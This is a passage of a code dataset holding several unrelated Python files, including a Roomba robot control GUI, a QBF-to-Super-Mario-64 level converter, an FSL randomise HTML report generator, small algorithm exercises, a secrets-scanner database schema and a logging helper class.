entry_speed.grid()\n\n # Auto move button\n basic_auto_move = ttk.Button(frame, text=\"Move autonomously (basic)\")\n basic_auto_move.grid()\n\n # Moves when pushed\n basic_auto_move['command'] = lambda: basic_move_autonomous(data_container,\n entry_distance,\n entry_angle,\n entry_angle_speed,\n entry_speed, label)\n\n return frame\n\ndef actual_connect(data_container, port_number, label):\n\n # Creates port number thingy\n port = port_number.get()\n\n if port != 'sim':\n port = int(port)\n\n # Connects to robot\n wallE = new_create.Create(port)\n data_container.robot = wallE\n\n data_container.label_text = 'Connected to WallE!'\n label['text'] = data_container.label_text\n\ndef disconnect_robot(data_container, label):\n\n # Disconnects from robot\n data_container.robot.shutdown()\n\n data_container.label_text = 'Disconnected from WallE!'\n label['text'] = data_container.label_text\n\n # Resets initial values for data container\n data_container.robot = None\n data_container.speed = 10\n data_container.distance = 10\n data_container.angle = 10\n data_container.current_angle = 0\n data_container.angle_per_second = 0\n data_container.seconds = 1\n data_container.darkness = 0\n data_container.robot_check = False\n\ndef stop_robot(data_container):\n\n # Emergency robot stop\n data_container.robot.stop()\n data_container.robot_check = True\n\ndef basic_move_autonomous(data_container, distance, direction, degrees_per_second, speed, label):\n\n # Gets values from entry boxes\n data_container.distance = float(distance.get())\n data_container.angle = float(direction.get())\n data_container.angle_per_second = float(degrees_per_second.get())\n data_container.speed = float(speed.get())\n\n data_container.label_text = 'Moving!'\n label['text'] = data_container.label_text\n\n if data_container.angle != 0 and data_container.angle_per_second != 0:\n\n # Corrects direction if negative\n if data_container.angle < 0:\n data_container.angle_per_second *= -1\n\n # Moves robot angularly if requested\n data_container.robot.go(0, data_container.angle_per_second)\n time.sleep(abs(data_container.angle / data_container.angle_per_second))\n\n # Moves robot linearly\n data_container.robot.go(data_container.speed, 0)\n time.sleep(abs(data_container.distance / data_container.speed))\n\n data_container.label_text = 'WallE has finished moving!'\n label['text'] = data_container.label_text\n\n # Stops robot\n data_container.robot.stop()\n\ndef advanced_frame(root, data_container, label):\n\n # Creates frame\n frame = ttk.Frame(root, padding=10, relief=\"raised\")\n\n # Creates Time Spent Label\n label = ttk.Label(frame, text=str(data_container.Hours()[10]))\n label.grid()\n\n # Linear speed entry box\n speed_label = ttk.Label(frame, text=\"Enter a linear speed\")\n speed_label.grid()\n entry_speed = ttk.Entry(frame, width=8)\n entry_speed.grid()\n\n # angular speed entry box\n angle_label = ttk.Label(frame, text=\"Enter a angular speed\")\n angle_label.grid()\n entry_angle = ttk.Entry(frame, width=8)\n entry_angle.grid()\n\n # IR entry box\n IR_label = ttk.Label(frame, text=\"Enter an IR signal number (0 to 254)\")\n IR_label.grid()\n entry_IR = ttk.Entry(frame, width=8)\n entry_IR.grid()\n\n # Move button\n move_button = ttk.Button(frame, text='Move until signal recieved')\n move_button.grid()\n\n # IR signal button\n signal_button = ttk.Button(frame, text='Send Signal')\n signal_button.grid()\n\n # When you push the move button...\n move_button['command'] = lambda: wait_for_IR_signal(data_container,\n entry_speed,\n entry_angle,\n frame, entry_IR,\n signal_button, label)\n\n return frame\n\ndef wait_for_IR_signal(data_container, speed, angle_per_second, frame, IR, signal_button, label):\n\n # Calls robot\n wallE = data_container.robot\n\n # IR signals can be between 0 and 254\n number = int(IR.get())\n\n # Starts the robot moving\n wallE.go(float(speed.get()), float(angle_per_second.get()))\n\n # Checks IR sensor\n while True:\n\n # Sends signal when button pushed\n signal_button['command'] = lambda: send_IR(data_container, number)\n\n # Continuously checks for IR number, if gets correct one, breaks loop\n number_heard = wallE.getSensor('IR_BYTE')\n if number_heard == number:\n break\n if stop_if_stuck(data_container):\n data_container.robot.stop()\n break\n if data_container.robot_check:\n break\n frame.update()\n time.sleep(.05)\n\n # Returns data container to original state\n data_container.robot_check = False\n\n # Stops robot\n wallE.stop()\n\n # Stops sending the signal\n wallE.stopIR()\n\n # Double check it worked correctly\n statement = ['Number WallE heard:', number_heard]\n data_container.label_text = str(statement)\n label['text'] = data_container.label_text\n\ndef stop_if_stuck(data_container):\n if (data_container.robot.getSensor('BUMPS_AND_WHEEL_DROPS')[0] or\n data_container.robot.getSensor('BUMPS_AND_WHEEL_DROPS')[1] or\n data_container.robot.getSensor('BUMPS_AND_WHEEL_DROPS')[2] or\n data_container.robot.getSensor('BUMPS_AND_WHEEL_DROPS')[3] or\n data_container.robot.getSensor('BUMPS_AND_WHEEL_DROPS')[4] or\n data_container.robot.getSensor('OVERCURRENTS')[0] or\n data_container.robot.getSensor('OVERCURRENTS')[1]):\n\n return True\n\ndef send_IR(data_container, number):\n\n # Starts sending IR on button push\n data_container.robot.startIR(number)\n\ndef line_follow_frame(root, data_container):\n\n # Creates frame\n frame = ttk.Frame(root, relief='raised')\n\n # Creates Time Spent Label\n label = ttk.Label(frame, text=str(data_container.Hours()[13]))\n label.grid()\n\n # Creates button to start line following\n button = ttk.Button(frame, text='Line Follow!')\n button.grid()\n\n # Label for enrty box and entry box\n darkness_label = ttk.Label(frame, text=\"Enter the darkness on black line (about 200 for real, 600 for sim)\")\n darkness_label.grid()\n entry_darkness = ttk.Entry(frame, width=8)\n entry_darkness.grid()\n\n # Label for entry box and entry box\n constant_label = ttk.Label(frame, text=\"Enter the proportional constant (about 0.005 for real and .002 for sim)\")\n constant_label.grid()\n entry_constant = ttk.Entry(frame, width=8)\n entry_constant.grid()\n\n # When you push button, does stuff...\n button['command'] = lambda: line_following(data_container, frame, entry_darkness, entry_constant)\n\n return frame\n\ndef line_following(data_container, frame, entry_darkness, entry_constant):\n\n # Creates robot\n wallE = data_container.robot\n\n desired = float(entry_darkness.get())\n\n # Initializes variables\n error_1 = 0\n error_2 = 0\n Kp = float(entry_constant.get())\n\n # Checks if on line and adjusts speed\n while True:\n\n # Update frame\n frame.update()\n\n # Gets sensor values\n actual_1 = wallE.getSensor('CLIFF_FRONT_RIGHT_SIGNAL')\n actual_2 = wallE.getSensor('CLIFF_FRONT_LEFT_SIGNAL')\n\n print('right', actual_1, 'left', actual_2)\n\n # Calculates error\n error_1 = actual_1 - desired\n error_2 = actual_2 - desired\n\n # Calculates right wheel speed\n v1 = error_1 * Kp\n right_speed = (2 + abs(v1))\n\n # Calculates left wheel speed\n v2 = error_2 * Kp\n left_speed = (2 + abs(v2))\n\n # Moves robot\n wallE.driveDirect(left_speed, right_speed)\n\n # Small sleep to avoid overflow\n time.sleep(.01)\n\n # Stop command\n if data_container.robot_check:\n break\n\n # Stops robot\n wallE.stop()\n\n # Resets data container values so can run multiple times\n data_container.robot_check = False\n\ndef open_grid(dc):\n\n # Creates new window for choosing points\n root = tkinter.Tk()\n\n # Creates frame for choosing points\n frame = ttk.Frame(root)\n frame.grid(row=1)\n\n # Make a tkinter.Canvas on a Frame.\n # Note that Canvas is a tkinter (NOT a ttk) class.\n canvas = tkinter.Canvas(frame, background='lightgray')\n canvas.grid()\n\n # Make callbacks for mouse events.\n canvas.bind('<Button-1>', lambda event: left_mouse_click(event, dc))\n\n # Creates frame for label\n frame1 = ttk.Frame(root)\n frame1.grid(row=0)\n\n # Creates label\n label = ttk.Label(frame1, text='Pick points by clicking on locations...')\n label.grid()\n\n # Creates frame for button\n frame2 = ttk.Frame(root)\n frame2.grid(row=2)\n\n # Creates button\n button = ttk.Button(frame2, text='Close Window')\n button.grid()\n\n # Closes window when button is pushed\n button['command'] = lambda: close_window(root)\n\n # Runs everything\n root.mainloop()\n\ndef left_mouse_click(event, dc):\n\n # Creates grey canvas for clicking on\n canvas = event.widget\n canvas.create_oval(event.x - 10, event.y - 10,\n event.x + 10, event.y + 10,\n fill='purple', width=3)\n\n # Stores clicks in data container list\n dc.click_x.append(event.x)\n dc.click_y.append(event.y)\n\n # Double check it worked\n print(event.x, event.y)\n\ndef close_window(root):\n\n # Closes point graph choosing window\n root.destroy()\n\ndef waypoints_frame(root, data_container):\n\n # Creates Frame\n frame = ttk.Frame(root, padding=10, relief=\"raised\")\n\n # Creates Time Spent Label\n label = ttk.Label(frame, text=str(data_container.Hours()[18]))\n label.grid()\n\n # Creates button to choose points\n button3 = ttk.Button(frame, text='Open grid to pick points!')\n button3.grid(row=1)\n\n # Opens new window on click\n button3['command'] = lambda: open_grid(data_container)\n\n # Creates X coord entry box\n x_label = ttk.Label(frame, text=\"Enter list of x-coordinates\")\n x_label.grid(row=2)\n x_coordinate = ttk.Entry(frame, width=8)\n x_coordinate.grid(row=3)\n\n # Creates Y coord entry box\n y_label = ttk.Label(frame, text=\"Enter list of y-coordinates\")\n y_label.grid(row=4)\n y_coordinate = ttk.Entry(frame, width=8)\n y_coordinate.grid(row=5)\n\n # Creates speed entry box\n speed_label = ttk.Label(frame, text=\"Enter a speed (cm/s)\")\n speed_label.grid(row=6)\n entry_speed = ttk.Entry(frame, width=8)\n entry_speed.grid(row=7)\n\n # Creates angular speed entry box\n angle_speed_label = ttk.Label(frame, text=\"Enter an angular speed(degrees/s)\")\n angle_speed_label.grid(row=8)\n entry_angular_speed = ttk.Entry(frame, width=8)\n entry_angular_speed.grid(row=9)\n\n # Creates button to start moving\n button = ttk.Button(frame, text='Start Moving (Advanced)!')\n button.grid(row=3, column=1)\n\n # Moves selected points\n button['command'] = lambda: waypoints_advanced(frame,\n data_container,\n x_coordinate,\n y_coordinate,\n entry_speed,\n entry_angular_speed)\n\n # Creates button to start moving\n button4 = ttk.Button(frame, text='Start Moving Clicked Points!')\n button4.grid(row=1, column=1)\n\n # Moves clicked points\n button4['command'] = lambda: waypoints_clicked_points(frame, data_container)\n\n # Creates button to start moving\n button2 = ttk.Button(frame, text='Retrace Movements!')\n button2.grid(row=5, column=1)\n\n # Retraces points when pushed\n button2['command'] = lambda: waypoints_retrace(frame, data_container)\n\n return frame\n\ndef waypoints_advanced(frame, dc, x, y, speed, angular_speed):\n\n dc.current_angle = 0\n\n # Gets x and y-coordinates form enrty box\n list_x = (x.get())\n list_y = (y.get())\n\n # Turns x and y-coordinates into a list\n x_coords = list_x.split()\n y_coords = list_y.split()\n\n # Gets speed and angular speed from entry box\n dc.speed = float(speed.get())\n dc.angle_per_second = float(angular_speed.get())\n\n # Calculates change needed to move in x and y directions\n dx = float(x_coords[0])\n dy = float(y_coords[0])\n\n # Updates lists\n dc.x_coordinates.insert(0, dx)\n dc.y_coordinates.insert(0, dy)\n\n # Calculates angle needed to move and then moves\n angle = m2.calculate_rotation(dx, dy, dc)\n m2.turn_to_direction(dc, angle)\n\n # Moves the given x and y distances\n m2.travel_distance(dx, dy, dc)\n\n # Small sleep\n time.sleep(.5)\n\n # Repeates for list of coordinates\n for k in range(1, len(x_coords)):\n\n dx = float(x_coords[k]) - float(x_coords[k - 1])\n dy = float(y_coords[k]) - float(y_coords[k - 1])\n\n # Updates lists\n dc.x_coordinates.insert(0, dx)\n dc.y_coordinates.insert(0, dy)\n\n # Turns to angle\n angle = m2.calculate_rotation(dx, dy, dc)\n m2.turn_to_direction(dc, angle)\n\n # Moves displacement\n m2.travel_distance(dx, dy, dc)\n\n # Small sleep\n time.sleep(.5)\n\ndef waypoints_clicked_points(frame, dc):\n\n dc.current_angle = 0\n\n # Gets speed and angular speed from entry box\n dc.speed = 30\n dc.angle_per_second = 60\n\n x = float(dc.click_x[0])\n y = float(dc.click_y[0])\n\n dx = calc_x(x, dc)\n dy = calc_y(y, dc)\n\n # Updates lists\n dc.x_coordinates.insert(0, dx)\n dc.y_coordinates.insert(0, dy)\n\n # Calculates angle needed to move and then moves\n angle = m2.calculate_rotation(dx, dy, dc)\n m2.turn_to_direction(dc, angle)\n\n # Moves the given x and y distances\n m2.travel_distance(dx, dy, dc)\n\n time.sleep(.5)\n\n # Repeates for list of coordinates\n for k in range(1, len(dc.click_x) + 1):\n\n # Gets dx and dy from lists in data container\n dx = float(calc_x(dc.click_x[k], dc) - calc_x(dc.click_x[k + 1], dc))\n dy = float(calc_y(dc.click_y[k], dc) - calc_y(dc.click_y[k + 1], dc))\n\n # Updates lists\n dc.x_coordinates.insert(0, dx)\n dc.y_coordinates.insert(0, dy)\n\n # Calculates and moves to angle\n angle = m2.calculate_rotation(dx, dy, dc)\n m2.turn_to_direction(dc, angle)\n\n # Linear movement\n m2.travel_distance(dx, dy, dc)\n\n # Don't wanna flood robot\n time.sleep(.5)\n\n # Resets data container values\n dc.click_x = []\n dc.click_y = []\n\ndef calc_x(x, dc):\n\n # Puts grid points into cartesian coodinate system\n if x != 250:\n dx = (x - 250) * (1 / 3)\n else:\n dx = 0\n return dx\n\ndef calc_y(y, dc):\n\n # Puts grid points into cartesian coordinate system\n if y < 150:\n dy = y * (1 / 3)\n elif y > 150:\n dy = (150 - y) * (1 / 3)\n else:\n dy = 0\n return dy\n\ndef waypoints_retrace(frame, dc):\n\n dc.speed = 30\n dc.angle_per_second = 60\n\n # Gets first point\n dx = -dc.x_coordinates[0]\n dy = -dc.y_coordinates[0]\n\n # Calculates angle needed to move and then moves\n angle = m2.calculate_rotation(dx, dy, dc)\n m2.turn_to_direction(dc, angle)\n\n # Moves the given x and y distances\n m2.travel_distance(dx, dy, dc)\n\n time.sleep(.5)\n\n # Repeates for rest of list of coordinates\n for k in range(1, len(dc.x_coordinates)):\n\n dx = -float(dc.x_coordinates[k])\n dy = -float(dc.y_coordinates[k])\n\n angle = m2.calculate_rotation(dx, dy, dc)\n m2.turn_to_direction(dc, angle)\n\n m2.travel_distance(dx, dy, dc)\n\n time.sleep(.5)\n\n # Clears list of coordinates\n dc.x_coordinates = []\n dc.y_coordinates = []\n\n\n#-----------------------------------------------------------------------\n# If this module is running at the top level (as opposed to being\n# imported by another module), then call the 'main' function.\n#-----------------------------------------------------------------------\nif __name__ == '__main__':\n main()\n","repo_name":"goistjt/Roomba","sub_path":"src/m1.py","file_name":"m1.py","file_ext":"py","file_size_in_byte":24508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21658286446","text":"#! /usr/bin/env python3.8\nimport argparse\nfrom pathlib import Path\n\nfrom gadgets import create_and_hook_up_doors_clauses, create_and_hook_up_quantifiers\nfrom level import SM64Level, gadgets_to_level\nfrom parse_qbf import QBF, get_3cnf_from_formula, verify_formula\n\n\ndef translate_to_level(qbf: QBF, level_subdir: Path) -> SM64Level:\n door_gadgets_literals, first_clause, last_clause = create_and_hook_up_doors_clauses(\n qbf.formula.clauses\n )\n start_gadget = create_and_hook_up_quantifiers(\n qbf.variables, door_gadgets_literals, first_clause, last_clause\n )\n print(start_gadget)\n\n return gadgets_to_level(start_gadget, level_subdir)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=(\n \"Convert instances of QBF in prenex normal form to levels in \"\n \"Super Mario 64.\"\n )\n )\n parser.add_argument(\n \"quantifiers\",\n type=int,\n help=(\n \"The number of alternating quantifiers in the formula, 1-indexed, where \"\n \"the first quantifier is EXISTS(). If this number is odd, the last \"\n \"quantifier is EXISTS(). If it is even, the last quantifier is FORALL().\"\n ),\n )\n parser.add_argument(\n \"formula\",\n help=(\n \"A 3-CNF formula formatted such that each clause is a comma-separated \"\n \"list of integers, and clauses are separated by semicolons. For example: \"\n \"'1,2,3;-1,-2,4' would correspond to the 3-CNF formula \"\n \"'(x1 OR x2 OR x3) AND (NOT(x1) OR NOT(x2) OR NOT(x4)'.\"\n ),\n )\n parser.add_argument(\n \"--level_subdir\",\n default=Path(__file__).parent / \"output\" / \"level\",\n type=Path,\n help=(\n \"The directory of the level whose files will be replaced in level \"\n \"construction, e.g. 'sm64/levels/castle_grounds'. If unspecified, \"\n \"defaults to 'output' next to the source code of this program.\"\n ),\n )\n args = parser.parse_args()\n\n if args.quantifiers < 1:\n raise ValueError(\"You need at least one literal for a proper formula.\")\n\n formula_3cnf = get_3cnf_from_formula(args.formula)\n verify_formula(args.quantifiers, formula_3cnf)\n input_qbf = QBF(args.quantifiers, formula_3cnf)\n\n level = translate_to_level(input_qbf, args.level_subdir)\n print(level)\n","repo_name":"matt-kempster/sm64_pspace","sub_path":"tqbf_converter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37972227368","text":"from jinja2 import Environment, FileSystemLoader\nfrom pathlib import Path\nfrom pwd import getpwuid\nimport getpass\nfrom os import stat\nimport os\nimport re\nimport time, datetime\nimport pandas as pd\n\n\ndef order_corrpMaps(corrpMaps):\n \"\"\"Order corrpMaps so FA, FAt and FW are summarized before others\"\"\"\n corrpMap_modalities = [x.modality for x in corrpMaps]\n modality_order = ['FA', 'FAt', 'FW']\n modality_order = [x for x in modality_order if x in corrpMap_modalities]\n rest = [x for x in corrpMap_modalities if x not in modality_order]\n modality_order = modality_order + rest\n\n new_corrpMaps = []\n for modality in modality_order:\n for corrpMap in corrpMaps:\n if corrpMap.modality == modality:\n new_corrpMaps.append(corrpMap)\n\n return new_corrpMaps\n\n\ndef create_html(corrpMaps, df, args):\n \"\"\"Create html that summarizes randomise_summary.py outputs\"\"\"\n # git version\n command = 'git rev-parse HEAD'\n script_dir = os.path.dirname(os.path.realpath(__file__))\n os.chdir(script_dir)\n git_hash = os.popen(command).read()\n\n corrpMaps = order_corrpMaps(corrpMaps)\n root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n templates_dir = os.path.join(root, 'templates')\n env = Environment(loader=FileSystemLoader(templates_dir))\n template = env.get_template('template.html')\n\n file_owners = []\n dates = []\n merged_4d_data_list = []\n modality_list = []\n\n outfigures = []\n filled_outfigures = []\n outsigfigures = []\n for corrpMap in corrpMaps:\n owner = getpwuid(stat(corrpMap.location).st_uid).pw_name\n file_owners.append(owner)\n (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = \\\n os.stat(corrpMap.location)\n dates.append(time.strftime('%Y-%m-%d', time.localtime(mtime)))\n # print(time.strftime(\"%Y-%b-%d\", time.ctime(mtime)))\n # if corrpMap.significant:\n\n corrpMap.out_image_loc = re.sub(\n '.nii.gz', '.png', str(corrpMap.location))\n corrpMap.filled_out_image_loc = re.sub(\n '.nii.gz', '_filled.png', str(corrpMap.location))\n\n if Path(corrpMap.out_image_loc).is_file():\n outfigures.append(True)\n else:\n outfigures.append(False)\n\n if Path(corrpMap.filled_out_image_loc).is_file():\n filled_outfigures.append(True)\n else:\n filled_outfigures.append(False)\n\n corrpMap.sig_out_image_loc = re.sub(\n '.nii.gz', '_sig_average_for_all_subjects.png',\n str(corrpMap.location))\n if Path(corrpMap.sig_out_image_loc).is_file():\n outsigfigures.append(True)\n else:\n outsigfigures.append(False)\n\n merged_4d_data_list.append(corrpMap.merged_4d_file)\n modality_list.append(corrpMap.modality)\n\n outfigures = any(outfigures)\n outsigfigures = any(outsigfigures)\n filled_outfigures = any(filled_outfigures)\n\n file_owners = list(set(file_owners))\n datecs = list(set(dates))\n merged_4d_data_list = list(set(merged_4d_data_list))\n modality_list = list(set(modality_list))\n\n # filename = os.path.join(root, 'prac_index.html')\n values_df_loc = corrpMap.location.parent / \\\n 'values_extracted_for_all_subjects.csv'\n if values_df_loc.is_file():\n values_df = pd.read_csv(str(values_df_loc), index_col=0)\n values_df = re.sub('dataframe', 'table', values_df.to_html())\n else:\n values_df = ''\n filename = corrpMap.location.parent / 'randomise_summary.html'\n\n # merged_4d_data_figures\n skeleton_average_figures = {}\n average_figures = {}\n std_figures = {}\n bin_sum_figures = {}\n bin_sum_diff_figures = {}\n skel_vol_figures = {}\n warped_map_figures = {}\n\n for merged_4d_file in merged_4d_data_list:\n try:\n modality = str(merged_4d_file.name).split('_')[1]\n except:\n modality = 'unknown'\n skeleton_average_figures[modality] = re.sub(\n '.nii.gz', '_skeleton_average_for_all_subjects.png',\n str(merged_4d_file))\n average_figures[modality] = re.sub(\n '.nii.gz', '_average.png',\n str(merged_4d_file))\n std_figures[modality] = re.sub(\n '.nii.gz', '_std.png',\n str(merged_4d_file))\n bin_sum_figures[modality] = re.sub(\n '.nii.gz', '_bin_sum.png',\n str(merged_4d_file))\n bin_sum_diff_figures[modality] = re.sub(\n '.nii.gz', '_bin_sum_diff.png',\n str(merged_4d_file))\n skel_vol_figures[modality] = re.sub(\n '.nii.gz', '_skeleton_volume_for_all_subjects.png',\n str(merged_4d_file))\n warped_map_figures[modality] = re.sub(\n '.nii.gz', '_skeleton_zero_mean_in_warp.png',\n str(merged_4d_file))\n\n # check whether the images exist\n skeleton_figure_check = all(\n [Path(x).is_file() for x in list(skeleton_average_figures.values())])\n\n skel_vol_figure_check = all(\n [Path(x).is_file() for x in list(skel_vol_figures.values())])\n\n warped_figure_check = all(\n [Path(x).is_file() for x in list(warped_map_figures.values())])\n\n\n mat_location = Path(corrpMaps[0].matrix_file)\n con_location = Path(corrpMaps[0].contrast_file)\n\n if not mat_location.is_absolute():\n mat_location = mat_location.resolve()\n if not con_location.is_absolute():\n con_location = con_location.resolve()\n\n with open(filename, 'w') as fh:\n fh.write(template.render(\n user=getpass.getuser(),\n owners=file_owners,\n datecs=datecs,\n total_number_of_subjects=len(corrpMaps[0].matrix_df),\n location=corrpMaps[0].location.parent,\n mat_location=mat_location,\n con_location=con_location,\n con_table=re.sub('dataframe', 'table',\n corrpMaps[0].contrast_df.to_html()),\n mat_table=re.sub('dataframe', 'table',\n corrpMaps[0].matrix_info.to_html()),\n table=re.sub('dataframe', 'table', df.to_html(index=False)),\n corrpMaps=[x.__dict__ for x in corrpMaps],\n outfigures=outfigures,\n outsigfigures=outsigfigures,\n filled_outfigures=filled_outfigures,\n values_df_loc=values_df_loc,\n values_df=values_df,\n skeleton_figure_check=skel_vol_figure_check,\n skel_vol_figure_check=skel_vol_figure_check,\n warped_figure_check=warped_figure_check,\n skeleton_average_figures=skeleton_average_figures,\n average_figures=average_figures,\n std_figures=std_figures,\n bin_sum_figures=bin_sum_figures,\n bin_sum_diff_figures=bin_sum_diff_figures,\n skel_vol_figures=skel_vol_figures,\n warped_map_figures=warped_map_figures,\n githash=git_hash\n ))\n","repo_name":"pnlbwh/pnl_randomise","sub_path":"lib/randomise_summary_web.py","file_name":"randomise_summary_web.py","file_ext":"py","file_size_in_byte":6952,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"28494701007","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def deleteNode(self, root: Optional[TreeNode], key: int) -> Optional[TreeNode]:\n if not root:\n return\n if root.val == key:\n if not root.left:\n return root.right\n if not root.right:\n return root.left\n node = root.right\n \n while node.left:\n node = node.left\n root.val = node.val\n root.right = self.deleteNode(root.right, node.val) \n \n elif root.val > key:\n root.left = self.deleteNode(root.left, key)\n else:\n root.right = self.deleteNode(root.right, key)\n return root\n # def modify_tree(self, root):\n # if not root:\n # return \n # if not root.left:\n # value = root.val\n # # root.left\n # return value\n # if not root.left.left:\n # root.left = root.left.right\n # return root.left.val\n # return self.modify_tree(root.left)\n \n ","repo_name":"fasil729/Comptetive-Programming-A2SV","sub_path":"0450-delete-node-in-a-bst/0450-delete-node-in-a-bst.py","file_name":"0450-delete-node-in-a-bst.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"17663372829","text":"#### DFS problem -> find number of block\nimport sys\n\nsys.setrecursionlimit(10000)\n\nn = int(input())\ntest = 0;\nansl=[]\n\ndef dfs(x,y):\n m = M\n n = N\n if x <= -1 or x >= m or y <= -1 or y >= n:\n return False\n if graph[y][x] == 1:\n graph[y][x] = 0\n dfs(x-1,y)\n dfs(x,y-1)\n dfs(x+1,y)\n dfs(x,y+1)\n return True\n return False\n\n\nwhile(test < n):\n M, N, num = map(int, input().split())\n ans = 0\n graph = [[0] * M for _ in range(N)]\n # get cordinate of cabbage for num times\n for i in range(num):\n xc, yc = map(int, input().split())\n graph[yc][xc] = 1\n\n # print(pd.DataFrame(graph))\n\n result = 0\n for i in range(N): # y\n for j in range(M): # x\n if dfs(j, i) == True:\n result += 1\n\n # print(pd.DataFrame(graph))\n\n ans = result\n ansl.append(ans)\n test+=1\n\nfor i in range(len(ansl)):\n print(ansl[i])\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"chosunghyun18/Problem_Solving","sub_path":"ProblemSolved2022/boj/DFS_BFS/1012.py","file_name":"1012.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16824805749","text":"import sqlalchemy\nfrom databases import Database\nfrom sqlalchemy import TIMESTAMP, Column, ForeignKey, Integer, String, Table\n\nfrom raddar.core.settings import settings\n\nmetadata = sqlalchemy.MetaData()\n\nproject = Table(\n \"project\",\n metadata,\n Column(\"id\", Integer, primary_key=True),\n Column(\"name\", String, unique=True, index=True),\n)\n\nanalysis = Table(\n \"analysis\",\n metadata,\n Column(\"id\", Integer, primary_key=True),\n Column(\"execution_date\", TIMESTAMP(timezone=True)),\n Column(\"branch_name\", String),\n Column(\"ref_name\", String),\n Column(\"scan_origin\", String),\n Column(\"project_id\", Integer, ForeignKey(\"project.id\"), nullable=False),\n)\n\nsecret = Table(\n \"secret\",\n metadata,\n Column(\"id\", Integer, primary_key=True),\n Column(\"filename\", String),\n Column(\"secret_type\", String, index=True),\n Column(\"line_number\", Integer),\n Column(\"secret_hashed\", String),\n Column(\"analysis_id\", Integer, ForeignKey(\"analysis.id\"), nullable=False),\n)\n\ndatabase = Database(settings.SQLALCHEMY_DATABASE_URI)\n\nengine = sqlalchemy.create_engine(settings.SQLALCHEMY_DATABASE_URI)\nmetadata.create_all(engine)\n","repo_name":"Tioborto/raddar","sub_path":"raddar/db/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71472977815","text":"import os\nimport json\n# import pickle\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nfrom sklearn.externals import joblib as pickle\n\n\ndef safe_json_load(path):\n try:\n with open(path) as fp:\n data = json.load(fp)\n except (FileNotFoundError, json.JSONDecodeError):\n data = {}\n\n return data\n\n\ndef json_dump(data, path):\n with open(path, 'w') as fp:\n json.dump(data, fp, indent=4)\n\n\ndef divider(end=False):\n if end:\n print('------------------------------------------------------------------\\n')\n return\n print('\\n------------------------------------------------------------------')\n\n\nclass StatusLogCheckpoint:\n\n def __init__(self, folder, meta=None, read_only=False):\n self.folder = folder\n assert os.path.exists(folder), '{} does not exists'.format(folder)\n self.meta = meta or {\n 'Name': '',\n 'Description': ''\n }\n self.read_only = read_only\n self.file = os.path.join(folder, 'status.txt')\n self.imp_file = os.path.join(folder, 'importance.json')\n self.opt_file = os.path.join(folder, 'optimized.json')\n self.trace_file = os.path.join(folder, 'trace.json')\n self.trace_img = os.path.join(folder, 'trace.png')\n self.voter_file = os.path.join(folder, 'voter.json')\n self.models_file = os.path.join(folder, 'models.json')\n self.v_model_file = os.path.join(folder, 'voter.pkl')\n self.c_model_folder = os.path.join(folder, 'models')\n self.meta_file = os.path.join(folder, 'meta.json')\n os.makedirs(self.c_model_folder, exist_ok=True)\n\n if not read_only:\n self.log('Initiated Log Entries {}'.format(datetime.utcnow()))\n json_dump(self.meta, self.meta_file)\n\n def log(self, entry):\n if not entry.endswith('\\n'):\n entry += '\\n'\n with open(self.file, 'a+') as fp:\n fp.write(entry)\n\n @staticmethod\n def json_log(entry, path):\n cur_entry = safe_json_load(path)\n cur_entry.update(entry)\n json_dump(cur_entry, path)\n\n @staticmethod\n def json_trace_log(entry, path, key):\n cur_entry = safe_json_load(path)\n cur_entry[key] = cur_entry.get(key, [])\n cur_entry[key].append(entry)\n json_dump(cur_entry, path)\n\n @staticmethod\n def model_log(clf, path):\n # with open(path, 'wb') as fp:\n # pickle.dump(clf, fp)\n pickle.dump(clf, path)\n\n @staticmethod\n def display_dict(obj):\n for key, val in obj.items():\n print('{}:'.format(key))\n for v in val:\n print('\\t{}: {}'.format(v, val[v]))\n\n def display(self, _type='default'):\n if _type in ['default', 'mcfi', 'mco', 'vc']:\n divider()\n if _type == 'default':\n print('Status')\n with open(self.file,) as fp:\n [print(l) for l in fp.readlines()]\n elif _type == 'mcfi':\n print('Feature Importance')\n self.display_dict(safe_json_load(self.imp_file))\n elif _type == 'mco':\n print('Optimized Classifiers')\n self.display_dict(safe_json_load(self.opt_file))\n elif _type == 'vc':\n print('Optimized Voter Classifiers')\n self.display_dict(safe_json_load(self.voter_file))\n divider(end=True)\n elif _type == 'trace':\n for clf, trace in safe_json_load(self.trace_file).items():\n plt.plot(trace, label=clf)\n plt.ylabel('Percentages')\n plt.xlabel('Iterations')\n plt.legend(loc=4)\n fig = plt.gcf()\n fig.savefig(self.trace_img)\n plt.show()\n\n def display_all(self, exclude=None):\n _types = ['default', 'mcfi', 'mco', 'trace', 'vc']\n if exclude:\n _types.pop(_types.index(exclude))\n\n for t in _types:\n self.display(t)\n\n def __call__(self, entry, _type='default', **kwargs):\n if not self.read_only:\n if _type == 'default':\n self.log(entry)\n elif _type == 'mcfi':\n self.json_log(entry, self.imp_file)\n elif _type == 'mco':\n self.json_log(entry, self.opt_file)\n elif _type == 'meta':\n self.json_log(entry, self.meta_file)\n elif _type == 'trace':\n self.json_log(entry, self.trace_file)\n elif _type == 'vc':\n self.json_log(entry, self.voter_file)\n elif _type == 'score_trace':\n self.json_trace_log(entry, self.trace_file, kwargs['id'])\n elif _type == 'model':\n path = os.path.join(self.c_model_folder, kwargs['file_name'])\n self.model_log(entry, path)\n log = {str(kwargs['id']) + '__' + kwargs['name']: path}\n self.json_log(log, self.models_file)\n elif _type == 'voter':\n 